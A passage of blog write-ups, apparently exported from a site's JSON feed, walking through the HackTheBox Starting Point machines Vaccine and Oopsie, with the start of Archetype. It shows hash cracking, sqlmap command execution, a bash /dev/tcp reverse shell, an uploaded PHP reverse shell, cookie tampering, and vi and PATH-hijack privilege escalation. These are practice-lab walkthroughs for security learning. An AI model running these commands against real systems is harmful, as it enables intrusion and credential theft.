087b7d0ca8647481e2d4cb6bc2e63aa9bc8c5d4dfc51f9cd2a1ee12a6a44a6e64ac208365180c1fa02bf4f627d5ca5c817cc101ce689afe130e1e6682123635a6e524e2833335f3a44704de5300b8d196df50660bb4dbb7b5cb082ce78d79b4b38e8e738e26798d10502281bfed1a9bb6426bfc47ef62841079d41dbe4fd356f53afc211b04af58fe3978f0cf4b96a7a6fc7ded6e2fba800227b186ee598dbf0c14cbfa557056ca836d69e28262a060a201d005b3f2ce736caed814591e4ccde4e2ab6bdbd647b08e543b4b2a5b23bc17488464b2d0359602a45cc26e30cf166720c43d6b5a1fddcfd380a9c7240ea888638e12a4533cfee2c7040a2f293a888d6dcc0d77bf0a2270f765e5ad8bfcbb7e68762359e335dfd2a9563f1d1d9327eb39e68690a8740fc9748483ba64f1d923edfc2754fc020bbfae77d06e8c94fba2a02612c0787b60f0ee78d21a6305fb97ad04bb562db282c223667af8ad907466b88e7052072d6968acb7258fb8846da057b1448a2a9699ac0e5592e369fd6e87d677a1fe91c0d0155fd237bfd2dc49*$/pkzip2$::backup.zip:style.css, index.php:backup.zip Listing 9 - John-compatible backupzip.hash file Now we proceed to crack the hash:\nuser@kali:~$ john backupzip.hash ... Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist 741852963 (backup.zip) ... user@kali:~$ john --show backupzip.hash backup.zip:741852963::backup.zip:style.css, index.php:backup.zip ... user@kali:~$ Listing 10 - Cracking the encrypted archive with John Extracting backup.zip with the recovered password \u0026ndash; 741852963 \u0026ndash; yields two source files: index.php and style.css.\nuser@kali:~$ unzip backup.zip Archive: backup.zip [backup.zip] index.php password: inflating: index.php inflating: style.css user@kali:~$ Listing 11 - Extracting the encrypted archive Examining the files reveals the following snippet from index.php:\n\u0026hellip;\nsession_start();\nif(isset($_POST[\u0026lsquo;username\u0026rsquo;]) \u0026amp;\u0026amp; isset($_POST[\u0026lsquo;password\u0026rsquo;])) {\nif($_POST[\u0026lsquo;username\u0026rsquo;] === \u0026lsquo;admin\u0026rsquo; \u0026amp;\u0026amp; md5($_POST[\u0026lsquo;password\u0026rsquo;]) === \u0026ldquo;2cb42f8734ea607eefed3b70af13bbd3\u0026rdquo;) {\n$_SESSION[\u0026rsquo;login\u0026rsquo;] = \u0026ldquo;true\u0026rdquo;;\nheader(\u0026ldquo;Location: dashboard.php\u0026rdquo;);\n}\n}\n\u0026hellip;\nListing 12 - Hard-coded credentials in index.php In summary, access is granted to any user supplying admin as the username and a password whose MD5 hash equals 2cb42f8734ea607eefed3b70af13bbd3. Upon successful authentication, the user is redirected to dashboard.php.\nExamining style.css reveals nothing of particular interest, aside from references to locations such as modules/text.css.\nTask-5 Question: What is the password for the admin user on the website?\nqwerty789\nTo answer this question, we first save the MD5 hash identified in Task-4.\nuser@kali:~$ echo -n \"2cb42f8734ea607eefed3b70af13bbd3\" \u003e md5hash user@kali:~$ cat md5hash 2cb42f8734ea607eefed3b70af13bbd3 user@kali:~$ Listing 13 - Preparations for MD5 hash cracking We then use John to crack it.\nuser@kali:~$ john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt md5hash ... qwerty789 (?) ... user@kali:~$ john --show --format=Raw-MD5 md5hash ?:qwerty789 ... user@kali:~$ Listing 14 - Cracking the MD5 hash with John Task-6 Question: What option can be passed to sqlmap to try to get command execution via the sql injection?\n--os-shell\nIt is well past time we examined the website hosted on the target. Navigating to http://$rhost/ in our browser presents a login page.\nFigure 1: Login page as landing page on the target website\nWe attempt authentication using the credentials obtained in Task-4 and Task-5:\nUsername: admin Password: qwerty789 The credentials are valid, and we are authenticated. We notice that upon login, we are redirected to http://$rhost/dashboard.php.\nFigure 2: Admin dashboard after successful authentication\nAfter exploring the interface, we observe that search terms entered in the search field are reflected in the URL search parameter.\nFigure 3: Reflected search\nSince search fields of this nature are frequently vulnerable to SQL injection attacks, and given that the question explicitly references sqlmap, we consult the tool\u0026rsquo;s help page:\nuser@kali:~$ sqlmap --help ... Usage: python3 sqlmap [options] ... Target: At least one of these options has to be provided to define the target(s) ... -u URL, --url=URL Target URL (e.g. \"http://www.site.com/vuln.php?id=1\") ... Request: These options can be used to specify how to connect to the target URL ... --data=DATA Data string to be sent through POST (e.g. \"id=1\") --cookie=COOKIE HTTP Cookie header value (e.g. \"PHPSESSID=a8d127e..\") ... Operating system access: These options can be used to access the back-end database management system underlying operating system ... --os-shell Prompt for an interactive operating system shell ... user@kali:~$ Listing 15 - SQLMap help page Reviewing the tool\u0026rsquo;s options provides both the answer to the task and guidance regarding our next steps.\nOur next course of action is to use sqlmap to determine whether the target website is vulnerable to SQL injection.\nAttempting to run sqlmap with only the URL specified fails because we have not provided authentication data.\nuser@kali:~$ sqlmap -u http://10.129.94.247/dashboard.php?search=test ... got a 302 redirect to 'http://10.129.94.247:80/index.php'. Do you want to follow? [Y/n] n you have not declared cookie(s), while server wants to set its own ('PHPSESSID=f4j6ae5ahkv...a47gj2eidd'). Do you want to use those [Y/n] n ... user@kali:~$ Listing 16 - Authentication issue with sqlmap One solution is to copy the cookie data from our authenticated browser session.\nWe retrieve the cookie information by navigating to Web Developer Tools \u0026gt; Storage \u0026gt; Cookies \u0026gt; http://$rhost.\nFigure 4: Authenticated cookie\nWe then use the --cookie=\u0026lt;COOKIE\u0026gt; option to establish an authorized session. Note the modification to the cookie format:\n# before\nPHPSESSID:\u0026ldquo;28ivthf91jm4d05jrcl09d0k7a\u0026rdquo;\n# after\n\u0026ldquo;PHPSESSID=28ivthf91jm4d05jrcl09d0k7a\u0026rdquo;\nListing 17 - Adjusted cookie format When executed, sqlmap reports that the search URL parameter is indeed vulnerable to SQL injection. It also provides example payloads for exploiting this weakness.\nuser@kali:~$ sqlmap -u http://10.129.94.247/dashboard.php?search=test --cookie=\"PHPSESSID=28ivthf91jm4d05jrcl09d0k7a\" ... it looks like the back-end DBMS is 'PostgreSQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y for the remaining tests, do you want to include all tests for 'PostgreSQL' extending provided level (1) and risk (1) values? [Y/n] Y ... GET parameter 'search' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N sqlmap identified the following injection point(s) with a total of 34 HTTP(s) requests: ... web server operating system: Linux Ubuntu 20.04 or 20.10 or 19.10 (eoan or focal) web application technology: Apache 2.4.41 back-end DBMS: PostgreSQL ... user@kali:~$ Listing 18 - SQLMap displaying potential SQL injection payloads Given our objective \u0026ndash; obtaining an interactive shell and establishing a foothold on the target \u0026ndash; we opt for the aforementioned --os-shell option.\nuser@kali:~$ sqlmap -u http://10.129.94.247/dashboard.php?search=test --cookie=\"PHPSESSID=28ivthf91jm4d05jrcl09d0k7a\" --os-shell ... ... [INFO] fingerprinting the back-end DBMS operating system ... [INFO] the back-end DBMS operating system is Linux ... [INFO] testing if current user is DBA ... [INFO] retrieved: '1' ... [INFO] going to use 'COPY ... FROM PROGRAM ...' command execution ... [INFO] calling Linux OS shell. To quit type 'x' or 'q' and press ENTER os-shell\u003e Listing 19 - Getting an interactive shell with sqlmap Interacting with this shell proves cumbersome,\nos-shell\u003e whoami do you want to retrieve the command standard output? [Y/n/a] Y ... command standard output: 'postgres' os-shell\u003e pwd do you want to retrieve the command standard output? [Y/n/a] Y ... command standard output: '/var/lib/postgresql/11/main' os-shell\u003e Listing 20 - Issues with the interactive shell so we establish a reverse shell back to our local machine for improved functionality.\nFirst, we start our listener on our local machine.\nuser@kali:~$ nc -lvnp 4444 ... Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Listing 21 - Starting Netcat listener Then we execute our reverse shell on the target machine.\nos-shell\u003e bash -c 'bash -i \u003e\u0026 /dev/tcp/10.10.14.12/4444 0\u003e\u00261' ... Listing 22 - Launching reverse shell from the target box If everything is configured correctly, our listener catches the connection.\nuser@kali:~$ nc -lvnp 4444 ... Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 10.129.94.247. Ncat: Connection from 10.129.94.247:52230. ... postgres@vaccine:/var/lib/postgresql/11/main$ Listing 23 - Catching reverse shell on the attack box Unfortunately, this connection is unstable, so we upgrade it.\npostgres@vaccine:/var/lib/postgresql/11/main$ which python3 ... /usr/bin/python3 postgres@vaccine:/var/lib/postgresql/11/main$ python3 -c 'import pty; pty.spawn(\"/bin/bash\")' ... postgres@vaccine:/var/lib/postgresql/11/main$ export TERM=xterm ... postgres@vaccine:/var/lib/postgresql/11/main$ ^Z [1]+ Stopped nc -lvnp 4444 user@kali:~$ stty raw -echo; fg nc -lvnp 4444 ... postgres@vaccine:/var/lib/postgresql/11/main$ Listing 24 - Stabilized and upgraded reverse shell Now that we have a stable interactive shell, we examine our surroundings. Traversing two directories up leads us to the user flag.\npostgres@vaccine:/var/lib/postgresql$ ls -hla ... -r-------- 1 postgres postgres 33 ... user.txt postgres@vaccine:/var/lib/postgresql$ cat user.txt \u0026lt;redacted-flag\u0026gt; postgres@vaccine:/var/lib/postgresql$ Listing 25 - Displaying the user flag This is satisfactory; however, even with the stabilized shell, our connection times out after a few minutes. With this limitation in mind, we search for any leaked credentials that might enable an SSH connection.\nWe locate cleartext credentials in the web server directory.\npostgres@vaccine:/var/www/html$ grep -i passw* * dashboard.php:\t$conn = pg_connect(\"host=localhost port=5432 dbname=carsdb user=postgres password=P@s5w0rd!\"); ... postgres@vaccine:/var/www/html$ Listing 26 - Cleartext credentials in dashboard.php Using the credentials found in dashboard.php:\nUsername: postgres Password: P@s5w0rd! we initiate an SSH connection to our target.\nuser@kali:~$ ssh postgres@$rhost The authenticity of host '10.129.94.247 (10.129.94.247)' can't be established. ... Are you sure you want to continue connecting (yes/no/[fingerprint])? yes ... postgres@10.129.94.247's password: Welcome to Ubuntu... ... postgres@vaccine:~$ Listing 27 - Authenticated SSH connection to the target Task-7 Question: What program can the postgres user run as root using sudo?\nvi\nWe use the -l option with the sudo command to list the current user\u0026rsquo;s privileges.\npostgres@vaccine:~$ sudo -l [sudo] password for postgres: ... User postgres may run the following commands on vaccine: (ALL) /bin/vi /etc/postgresql/11/main/pg_hba.conf postgres@vaccine:~$ Listing 28 - Potential privilege escalation path Submit The User Flag Question: Submit user flag\n\u0026lt;redacted-flag\u0026gt;\nThe user flag was already acquired during Task-6.\nSubmit The Root Flag Question: Submit root flag\n\u0026lt;redacted-flag\u0026gt;\nUsing the connection from Task-6 and building upon the information from Task-7, we proceed to escape the vi environment and spawn a root shell.\nWe execute the command from the sudo -l output in Task-7 as root.\npostgres@vaccine:~$ sudo -u root /bin/vi /etc/postgresql/11/main/pg_hba.conf Listing 29 - Running the pg_hba.conf binary as the root user and use the following commands inside the vi editor to spawn a root shell:\n:set shell=/bin/bash\n:shell Listing 30 - Commands to escape the vi editor Once we have the root shell, we locate and retrieve the root flag.\nroot@vaccine:/# cd root root@vaccine:/# ls -hla ... -rw------- 1 root root 33 ... root.txt ... root@vaccine:~# cat root.txt \u0026lt;redacted-flag\u0026gt; root@vaccine:~# Listing 31 - Displaying the root flag Congratulations, we have successfully completed the challenge. All that remains is to terminate the target box \u0026ndash; if it has not been terminated automatically \u0026ndash; before proceeding to the next challenge.\n","permalink":"https://onebee.blog/blog/htb/starting-point/tier-2/vaccine/","summary":"HackTheBox | Starting Point | Tier 2 | Vaccine","title":"Vaccine"},{"content":"CHALLENGE INFORMATION\nPlatform: HackTheBox\nCollection: Starting Point\nTier: 2\nMachine: Oopsie\nReleased: 25/10/2021 MACHINE SYNOPSIS\nOopsie is a very easy Linux machine that highlights the impact of information disclosure and broken access control in web applications. Website enumeration reveals a guest login with manipulatable cookies and user IDs allowing escalation to an admin role and access to a file upload feature. A PHP reverse shell is then uploaded to gain an initial foothold. Further enumeration exposes hardcoded credentials enabling lateral movement to another user. Finally, privilege escalation is achieved by abusing a misconfigured SUID binary through PATH hijacking.\nPreparations There are a couple of ways to connect to the target machine. The one we will be using throughout this walkthrough is via the provided pwnbox.\nOnce our connection is established, we spawn the target machine.\nAdditionally \u0026ndash; even though not required \u0026ndash; it is possible to set a local variable (only available in the current shell) containing our target host\u0026rsquo;s IP address. Once set, we can easily access it by prepending a $ to our variable name.\nuser@kali:~$ rhost=\u0026lt;target-hosts-ip\u0026gt; user@kali:~$ echo $rhost \u0026lt;target-hosts-ip\u0026gt; user@kali:~$ Listing 1 - Creating a local variable rhost to store the target's IP address We can use the unset command to remove it when no longer needed.\nuser@kali:~$ unset rhost Listing 2 - Removing the rhost variable if necessary Task-1 Question: With what kind of tool can intercept web traffic?\nproxy\nA quick connection check,\nuser@kali:~$ ping $rhost -c 4 ... 4 packets transmitted, 4 received, 0% packet loss, time 3005ms ... user@kali:~$ Listing 3 - Connection check followed by the usual Nmap scan,\nuser@kali:~$ nmap -sC -sV $rhost ... PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) ... 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Welcome Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel ... user@kali:~$ Listing 4 - Version detection and default script scan determines that we have two open ports: port 22 and port 80. Building on these results, we try to get a fingerprint on the running web server.\nuser@kali:~$ whatweb $rhost http://10.129.95.191 [200 OK] Apache[2.4.29], Country[RESERVED][ZZ], Email[admin@megacorp.com], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.129.95.191], Script, Title[Welcome] user@kali:~$ Listing 5 - WhatWeb fingerprinting Putting the collected pieces together, this is the initial picture we get about our target:\nTarget is running Linux, probably Ubuntu 18.04 SSH is enabled with version openssh (1:7.6p1-4ubuntu0.3) Target is serving a webpage with web server version Apache httpd 2.4.29 Admin email is admin@megacorp.com Hostname is megacorp.com And we have not even looked at the webpage. Let us correct that. First we try accessing it with a browser. It appears to be an automobile website.\nFigure 1: Target website\nAfter looking around, we notice that none of the tabs seem to be working. All of them simply redirect us to http://$rhost/#, which appears identical to the landing page.\nAlso, Wappalyzer has identified the front-end scripts as Font Awesome. We take note of this; it may prove useful later.\nSince nothing else stands out at first glance, we continue with directory busting.\nuser@kali:~$ gobuster dir -u http://$rhost/ -w /usr/share/wordlists/dirb/common.txt ... /.hta (Status: 403) [Size: 278] /.htaccess (Status: 403) [Size: 278] /.htpasswd (Status: 403) [Size: 278] /css (Status: 301) [Size: 312] [--\u003e http://10.129.95.191/css/] /fonts (Status: 301) [Size: 314] [--\u003e http://10.129.95.191/fonts/] /images (Status: 301) [Size: 315] [--\u003e http://10.129.95.191/images/] /index.php (Status: 200) [Size: 10932] /js (Status: 301) [Size: 311] [--\u003e http://10.129.95.191/js/] /server-status (Status: 403) [Size: 278] /themes (Status: 301) [Size: 315] [--\u003e http://10.129.95.191/themes/] /uploads (Status: 301) [Size: 316] [--\u003e http://10.129.95.191/uploads/] ... user@kali:~$ Listing 6 - Directory enumeration with Gobuster None of these directories are particularly accessible except the landing page, so nothing interesting here. We continue looking.\nAs for the answer, a quick internet search should suffice.\nTask-2 Question: What is the path to the directory on the webserver that returns a login page?\n/cdn-cgi/login\nTaking a quick look at the page source code of the main page proves rewarding.\nFigure 2: Landing page source code\nAt the end of the code, a script references an interesting location:\n\u0026hellip;\n\u0026lt;script src=\u0026quot;/cdn-cgi/login/script.js\u0026quot;\u0026gt;\u0026lt;/script\u0026gt;\n\u0026hellip;\nListing 7 - Potential login page Following this reference, we navigate to http://$rhost/cdn-cgi/login/, where we are greeted with a login page.\nFigure 3: Login page at /cdn-cgi/login/\nIt is important to note the Login as Guest option. Once clicked, we are redirected to http://$rhost/cdn-cgi/login/admin.php.\nFigure 4: Guest login\nTask-3 Question: What can be modified in Firefox to get access to the upload page?\ncookie\nThere are a few interesting things we might notice once we start exploring:\nThere is an Uploads tab that is currently inaccessible \u0026ndash; it displays \u0026ldquo;This action require super admin rights.\u0026rdquo; It is possible to leak potentially confidential information by simply modifying the URL parameters in the Account, Branding, and Clients tabs. Playing around with the URL parameters and setting the id parameter to 1 under the Account tab,\nhttp://10.129.95.191/cdn-cgi/login/admin.php?content=accounts\u0026amp;id=1\nListing 8 - Interesting URL parameter reveals something significant.\nFigure 5: Leaked admin access id\nTaking another look at the Uploads page, this time using Web Developer Tools \u0026ndash; a built-in tool in Firefox \u0026ndash; we notice two cookies that are currently set.\nCookie 1:\nName: role Value: guest Cookie 2:\nName: user Value: 2233 This is likely how the website determines whether we are allowed to access the Uploads tab.\nFigure 6: Cookie values for guest access\nTask-4 Question: What is the access ID of the admin user?\n34322\nCould we simply modify these cookies? Perhaps use some of the leaked information we obtained from the Account tab? Let us try modifying our cookies:\nCookie 1:\nName: role Value: admin Cookie 2:\nName: user Value: 34322 Figure 7: Cookie manipulation attempt\nOnce we refresh the page, we are greeted with an upload window.\nFigure 8: Successful cookie manipulation\nTask-5 Question: On uploading a file, what directory does that file appear in on the server?\n/uploads\nSince we have found an option to upload our own files to the server, let us strive for a reverse shell.\nUsing Wappalyzer on the current webpage reports PHP as the underlying programming language. Therefore, it is time to look for a reverse shell written in PHP.\nOn the pwnbox, we do not have to look far, as one is already available. We copy it to our current working directory, rename it \u0026ndash; making it less noticeable \u0026ndash; and we are almost ready to proceed.\nuser@kali:~$ cp /usr/share/webshells/php/php-reverse-shell.php ./test.php user@kali:~$ ll ... -rwxr-xr-x 1 user user 5.4K ... test.php user@kali:~$ Listing 9 - Preparing PHP reverse shell All that remains is to customize it for our use. Modifying these two lines should suffice:\n\u0026hellip;\n$ip = \u0026lsquo;127.0.0.1\u0026rsquo;; // CHANGE THIS\n$port = 1234; // CHANGE THIS\n\u0026hellip;\nListing 10 - Connection details in the PHP reverse shell # new test.php\n\u0026hellip;\n$ip = '$lhost'; // CHANGED - look up your lhost ip \u0026ndash;\u0026gt; \u0026quot;ip a | grep tun 0\u0026quot;\n$port = 4444; // CHANGED - arbitrary port \u0026ndash;\u0026gt; best to pick something above 1024\n\u0026hellip;\nListing 11 - Adjusted connection details in the PHP reverse shell We receive a confirmation once the file is uploaded.\nFigure 9: Upload confirmation\nIt is time to see if it actually runs. For that, we need a Netcat listener to catch the connection when it tries connecting back.\nuser@kali:~$ nc -lvnp 4444 ... Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Listing 12 - Starting Netcat listener With everything set up, it is time to run our reverse shell. But where can we find it? Looking at our directory busting results from Task-1, our assumption is that it landed somewhere in the /uploads directory. So we try accessing it in the browser.\nFigure 10: Triggering the reverse shell\nNothing seems to be happening, except that the page appears to be loading. But if we check our Netcat listener, we will notice a reverse shell connection from our target.\nuser@kali:~$ nc -lvnp 4444 ... Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 10.129.95.191. Ncat: Connection from 10.129.95.191:45114. Linux oopsie 4.15.0-76-generic ... ... uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $ Listing 13 - Catching reverse connection Task-6 Question: What is the file that contains the password that is shared with the robert user?\ndb.php\nOne effective way to stabilize our Netcat reverse shell is by going through the following steps:\n# Netcat Shell Stabilisation python -c \u0026#39;import pty; pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; # or python3 -c \u0026#39;import pty; pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; export TERM=xterm [CTRL+Z] to background the process # On lhost (turn off our own terminal echo) stty raw -echo; fg Listing 14 - Techniques to stabilize a reverse shell connection Since only python3 is installed on the target, we use that option. Doing so gives us a stable shell connection.\n... $ python -c 'import pty; pty.spawn(\"/bin/bash\")' /bin/sh: 2: python: not found $ which python3 /usr/bin/python3 $ python3 -c 'import pty; pty.spawn(\"/bin/bash\")' ... www-data@oopsie:/$ export TERM=xterm ... www-data@oopsie:/$ ^Z [1]+ Stopped nc -lvnp 4444 user@kali:~$ stty raw -echo; fg nc -lvnp 4444 www-data@oopsie:/$ Listing 15 - Stabilizing the reverse shell connection Looking around, we find the user flag in robert\u0026rsquo;s home directory.\nwww-data@oopsie:/$ whoami www-data www-data@oopsie:/$ pwd / www-data@oopsie:/$ uname -a Linux oopsie 4.15.0-76-generic ... www-data@oopsie:/$ ls -hla ... drwxr-xr-x 3 root root 4.0K ... home ... www-data@oopsie:/$ cd home/ www-data@oopsie:/home$ ls -hla ... drwxr-xr-x 3 robert robert 4.0K ... robert www-data@oopsie:/home$ cd robert/ www-data@oopsie:/home/robert$ ls -hla ... -rw-r--r-- 1 robert robert 33 ... user.txt www-data@oopsie:/home/robert$ Listing 16 - Enumerating the target and discovering the user flag Notice the r-- in the last permission column. Does that not mean that everybody can read it? Let us grab it.\nwww-data@oopsie:/home/robert$ cat user.txt \u0026lt;redacted-flag\u0026gt; www-data@oopsie:/home/robert$ Listing 17 - Displaying the user flag The question implies there are interesting files containing sensitive information. Let us look for them. One of the places we definitely need to check is the location where the web page is installed.\nwww-data@oopsie:/var/www/html/cdn-cgi/login$ ls -hla ... -rw-r--r-- 1 root root 6.3K ... admin.php -rw-r--r-- 1 root root 80 ... db.php -rw-r--r-- 1 root root 5.3K ... index.php -rw-r--r-- 1 root root 0 ... script.js www-data@oopsie:/var/www/html/cdn-cgi/login$ Listing 18 - Enumerating the web server's root directory The question states that this password is shared with robert, so let us look for any mention of his name.\nwww-data@oopsie:/var/www/html/cdn-cgi/login$ cat * | grep -i robert $conn = mysqli_connect('localhost','robert','M3g4C0rpUs3r!','garage'); www-data@oopsie:/var/www/html/cdn-cgi/login$ Listing 19 - Looking for cleartext credentials mentioning one of the users There is a match, but does it work?\nwww-data@oopsie:/var/www/html/cdn-cgi/login$ su robert Password: robert@oopsie:/var/www/html/cdn-cgi/login$ Listing 20 - Elevated privileges as the robert user Yes, it worked. Now we have all the privileges that come with being the robert user.\nHowever, the question asks only for the exact file name, not the password itself. To get that, we need to adjust the previously used command.\nrobert@oopsie:/var/www/html/cdn-cgi/login$ grep -i robert * db.php:$conn ... robert@oopsie:/var/www/html/cdn-cgi/login$ Listing 21 - File db.php containing cleartext credentials Task-7 Question: What executible is run with the option \u0026lsquo;-group bugtracker\u0026rsquo; to identify all files owned by the bugtracker group?\nfind\nAt first, using find while discarding error messages by redirecting them with 2\u0026gt;/dev/null returns nothing.\nwww-data@oopsie:/home/robert$ find / -group bugtracker -executable 2\u003e/dev/null Listing 22 - Looking for the bugtracker executable Could it be that the file we are looking for is only executable by a certain group?\nwww-data@oopsie:/home/robert$ find / -group bugtracker 2\u003e/dev/null /usr/bin/bugtracker www-data@oopsie:/home/robert$ Listing 23 - Finding the bugtracker executable It certainly looks like it.\nTask-8 Question: Regardless of which user starts running the bugtracker executable, what\u0026rsquo;s user privileges will use to run?\nroot\nwww-data@oopsie:/home/robert$ ls -hla /usr/bin/bugtracker -rwsr-xr-- 1 root bugtracker 8.6K ... /usr/bin/bugtracker www-data@oopsie:/home/robert$ Listing 24 - Suid set for the bugtracker executable Looking at it, the executable has its SUID bit set. Once run, it will execute with elevated root privileges since the root user is the owner of the file.\nTask-9 Question: What SUID stands for?\nset owner user id\nA simple online search should help us here.\nTask-10 Question: What is the name of the executable being called in an insecure manner?\ncat\nRunning the executable we found in Task-7 without any parameters provides us with some hints.\nrobert@oopsie:/$ ./usr/bin/bugtracker ------------------ : EV Bug Tracker : ------------------ Provide Bug ID: 42 --------------- cat: /root/reports/42: No such file or directory robert@oopsie:/$ Listing 25 - Interesting clues when running bugtracker One hint is that it is using cat to access a nonexistent file at /root/reports/42.\nAnother is that cat is called without its full path being specified \u0026ndash; not with its full path (/bin/cat), as it should be.\nSubmit The User Flag Question: Submit user flag\n\u0026lt;redacted-flag\u0026gt;\nWe already grabbed it in Task-6.\nSubmit The Root Flag Question: Submit root flag\n\u0026lt;redacted-flag\u0026gt;\nWe continue where we left off in Task-10.\nOur idea is to hijack the path that our system searches when looking for the cat binary. Overwriting this location and implementing our own version of the cat command would result in our version executing when the bugtracker binary is run.\nTherefore, we create our own version and save it in the /tmp directory, which clears at reboot. Moreover, we ensure that everyone has execute permissions.\nrobert@oopsie:/$ cd /tmp/ robert@oopsie:/tmp$ which bash /bin/bash robert@oopsie:/tmp$ echo \"/bin/bash\" \u003e cat robert@oopsie:/tmp$ ls -hla ... -rw-rw-r-- 1 robert robert 10 ... cat robert@oopsie:/tmp$ chmod a+x cat robert@oopsie:/tmp$ ls -hla ... -rwxrwxr-x 1 robert robert 10 ... cat robert@oopsie:/tmp$ Listing 26 - Preparing our own cat executable All that remains is to modify the location that the system uses to search for binaries. This can be done via environment variables \u0026ndash; similar to how we specified our rhost variable. However, this one persists across multiple shells since it is an environment variable rather than a local one.\nMoreover, this time we do not want to add anything new; we only want to prepend our location to the existing ones.\nrobert@oopsie:/tmp$ export PATH=/tmp:$PATH robert@oopsie:/tmp$ echo $PATH /tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games robert@oopsie:/tmp$ Listing 27 - Modifying the PATH environmental variable Finally, running the bugtracker binary after everything is set up will grant us an elevated root shell. Since we already know where the root flag is, we simply grab it.\nrobert@oopsie:/tmp$ /usr/bin/bugtracker ------------------ : EV Bug Tracker : ------------------ Provide Bug ID: 42 --------------- root@oopsie:/tmp# whoami root root@oopsie:/tmp# cat /root/root.txt \u0026lt;redacted-flag\u0026gt; root@oopsie:/tmp# Listing 28 - Elevating privileges to root Congratulations, we have successfully completed the challenge. All that remains is to terminate the target box \u0026ndash; if not terminated automatically \u0026ndash; before moving on to the next challenge!\n","permalink":"https://onebee.blog/blog/htb/starting-point/tier-2/oopsie/","summary":"HackTheBox | Starting Point | Tier 2 | Oopsie","title":"Oopsie"},{"content":"CHALLENGE INFORMATION\nPlatform: HackTheBox\nCollection: Starting Point\nTier: 2\nMachine: Archetype\nReleased: 25/10/2021 MACHINE SYNOPSIS\nArchetype is a very easy Windows machine that features a misconfigured Microsoft SQL server, exposed SMB shares and sensitive data exposure. An exposed SMB share can be accessed without authentication in which sensitive files can be found containing plaintext credentials. These credentials can be used to authenticate to MSSQL as the service account user through Impacket\u0026rsquo;s mssqlclient tool. Command execution can then be achieved by enabling xp_cmdshell after which a reverse shell can be uploaded and triggered to get access to the host. Finally, WinPeas can be used to search for vulnerabilities which reveals a Powershell history file containing the password needed to achieve full privilege escalation.\nPreparations There are a couple of ways to connect to the target machine. The one we will be using throughout this walkthrough is via the provided pwnbox.\nOnce our connection is established, we spawn the target machine.\nAdditionally \u0026ndash; even though not required \u0026ndash; it is possible to set a local variable (only available in the current shell) containing our target host\u0026rsquo;s IP address. Once set, we can easily access it by prepending a $ to our variable name.\nuser@kali:~$ rhost=\u0026lt;target-hosts-ip\u0026gt; user@kali:~$ echo $rhost \u0026lt;target-hosts-ip\u0026gt; user@kali:~$ Listing 1 - Creating a local variable rhost to store the target's IP address We can use the unset command to remove the variable when it is no longer needed.\nuser@kali:~$ unset rhost Listing 2 - Removing the rhost variable if necessary Task-1 Question: Which TCP port is hosting a database server?\n1433\nWe begin our reconnaissance with a quick connectivity check.\nuser@kali:~$ ping $rhost -c 4 ... 4 packets transmitted, 4 received, 0% packet loss, time 3005ms ... user@kali:~$ Listing 3 - Connection check We then follow up by scanning the top one thousand TCP ports with version detection and default script scanning enabled.\nuser@kali:~$ nmap -sC -sV $rhost ... PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Windows Server 2019 Standard 17763 microsoft-ds 1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM ... Host script results: ... | smb-os-discovery: | OS: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6.3) | Computer name: Archetype | NetBIOS computer name: ARCHETYPE\\x00 | Workgroup: WORKGROUP\\x00 ... | smb2-security-mode: ... |_ Message signing enabled but not required ... | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) ... user@kali:~$ Listing 4 - Version detection and default script scanning against top TCP ports Four ports are reported to be open on our target. Additionally, several other interesting pieces of information merit attention:\nThe operating system is Microsoft Windows \u0026ndash; specifically, Windows Server 2019 Standard, build 17763 An SQL server is running on TCP port 1433 Guest login is enabled for port 445 (SMB) We shall capitalize on this information.\nTask-2 Question: What is the name of the non-Administrative share available over SMB?\nbackups\nUsing the guest username (guest access) and listing the SMB shares available on the target will direct us toward the backups share.\nuser@kali:~$ smbclient -U guest -L $rhost Password for [WORKGROUP\\guest]: Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin backups Disk C$ Disk Default share IPC$ IPC Remote IPC SMB1 disabled -- no workgroup available user@kali:~$ Listing 5 - Listing remote shares with smbclient Task-3 Question: What is the password identified in the file on the SMB share?\nM3g4c0rp123\nAccessing the share and enumerating its contents brings us to the prod.dtsConfig file.\nuser@kali:~$ smbclient -U guest \\\\\\\\$rhost\\\\backups Password for [WORKGROUP\\guest]: ... smb: \\\u003e ls ... prod.dtsConfig AR 609 ... ... smb: \\\u003e get prod.dtsConfig ... smb: \\\u003e exit user@kali:~$ Listing 6 - Enumerating the backups share and transferring its contents After the download completes and the SMB session closes, displaying the prod.dtsConfig file on our local machine with cat reveals a welcome surprise.\n\u0026hellip;\n\u0026lt;ConfiguredValue\u0026gt;\nData Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;\n\u0026lt;/ConfiguredValue\u0026gt;\n\u0026hellip;\nListing 7 - Cleartext credentials in the prod.dtsConfig file Although it appears to be an ordinary configuration file, it contains potential credentials:\nHost: ARCHETYPE Username: sql_svc Password: M3g4c0rp123 Since 